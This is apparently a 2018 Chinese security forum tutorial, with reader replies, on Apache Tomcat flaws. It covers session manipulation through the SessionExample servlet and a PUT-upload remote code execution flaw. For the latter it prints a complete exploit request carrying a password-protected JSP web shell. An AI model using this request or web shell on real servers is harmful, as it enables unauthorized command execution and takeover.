用户
搜索
  • TA的每日心情
    奋斗
    2018-9-18 15:31
  • 签到天数: 67 天

    连续签到: 1 天

    [LV.6]常住居民II

    i春秋作家

    蜂巢网络安全

    Rank: 7Rank: 7Rank: 7

    25

    主题

    147

    帖子

    1960

    魔法币
    收听
    1
    粉丝
    11
    注册时间
    2016-6-2

    i春秋签约作者春秋文阁春秋游侠

    发表于 2018-5-14 11:51:22 94019
    本帖最后由 by天天 于 2018-5-14 03:54 编辑

    中间件安全那点事ApacheTomcat


    一 ApacheTomcat


    说明:
    Apache是普通服务器,本身只支持html即普通网页。不过可以通过插件支持php,还可以与Tomcat连通(单向Apache连接Tomcat,就是说通过Apache可以访问Tomcat资源。反之不然)。Apache只支持静态网页,但像php,cgi,jsp等动态网页就需要Tomcat来处理。 Tomcat是由Apache软件基金会下属的Jakarta项目开发的一个Servlet容器,按照Sun Microsystems提供的技术规范,实现了对Servlet和JavaServer Page(JSP)的支持,并提供了作为Web服务器的一些特有功能,如Tomcat管理和控制平台、安全域管理和Tomcat阀等。


    1.1
    ApacheTomcat样例目录session操纵漏洞

    说明:
    用户通过表单提交dataname和datavalue参数,然后通过request.getParameter()函数获取这两个参数的值,再通过session.setAttribute()函数将dataname和datavalue的值写入session。因为session全局通用的特性,所以可以通过操纵session参数的值来获取网站管理员权限的目的
    默认地址:http://x.x.x.x:8080/examples/servlets/servlet/SessionExample

    默认后缀:examples/servlets/servlet/SessionExample


    12ZVX_`AEG8B0YRDPR9MV)Q.png

    漏洞利用:

    在Name of Session Attribute: 里输入login
    在Value of Session Attribute:里输入admin


    ZS]5$R%VYG)OI6B1H7WR14Y.png

    提交后显示login=admin已经写入session
    HQI9BZ9RLV)M5GEWA6ZAJ73.png

    访问主页,显示成功登录

    $AIZEJLC9PI{{3}TYE@N73S.png

    1.2ApacheTomcat远程代码执行漏洞

    说明:当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。


    复现以及实际操作注意事项:修改Tomcat 7.0/conf/web.xml文件,添加readonly属性,将 readonly 初始化参数由默认值设置为 false,重启Tomcat,经过实际测试,Tomcat 7.x版本内web.xml配置文件内默认配置无readonly参数,需要手工添加,默认配置条件下不受此漏洞影响。

    漏洞利用:tomcat对jsp是做了一定处理的,其处理过程中对文件名的识别存在差异性,对 test.jsp/ 识别为非jsp文件,而后续保存文件的时候,文件名不接受/字符,故而忽略掉。



    burp 提交数据包:
    NDI`{L69Q$_8ICLV0IZ~4TB.png
    执行whoami:
    7%A(_PLK0V6CR){JI@%(P~V.png
    文件内容:
    PUT /222.jsp/ HTTP/1.1
    Host: 127.0.0.1:8080
    User-Agent: JNTASS
    DNT: 1
    Connection: close
    ...jsp shell... <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
    +"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>



    该漏洞影响版本:Apache Tomcat 7.0.0 - 7.0.81


    不是特别全面 后续继续补充!!



    发表于 2018-5-14 12:37:48
    沙发。
    使用道具 举报 回复
    发表于 2018-5-15 09:05:14
    等待楼主的补充,中间件安全设计的东西太多了,需要慢慢的整理
    不服你TMD来打我啊!
    使用道具 举报 回复
    发表于 2018-5-15 09:50:08
    老哥稳!  中间件的问题 一直没有整体的资料,期待老哥把知道的都分享出来
    小白~~~
    使用道具 举报 回复
    发表于 2018-5-15 16:17:16
    中间件的安全研究的人的确少。。一般人的关注点都在代码层面。。。婊哥继续关注。。稳的一pi
    使用道具 举报 回复
    发表于 2018-5-16 22:07:58
    有点少
    逆向/破解/病毒分析板块  专属QQ交流群:496266893  群二维码

    https://bbs.ichunqiu.com/forum-60-1.html
    使用道具 举报 回复
    其实有不少,例如manager-script、manager-status这些都有存在漏洞
    使用道具 举报 回复
    感谢分享
    使用道具 举报 回复
    发表于 2018-5-18 09:35:19
    我若成风 发表于 2018-5-17 05:17
    其实有不少,例如manager-script、manager-status这些都有存在漏洞

    一些利用价值不高的就不去总结了
    使用道具 举报 回复
    发表于 2018-10-7 00:35:47
    学习一下~
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册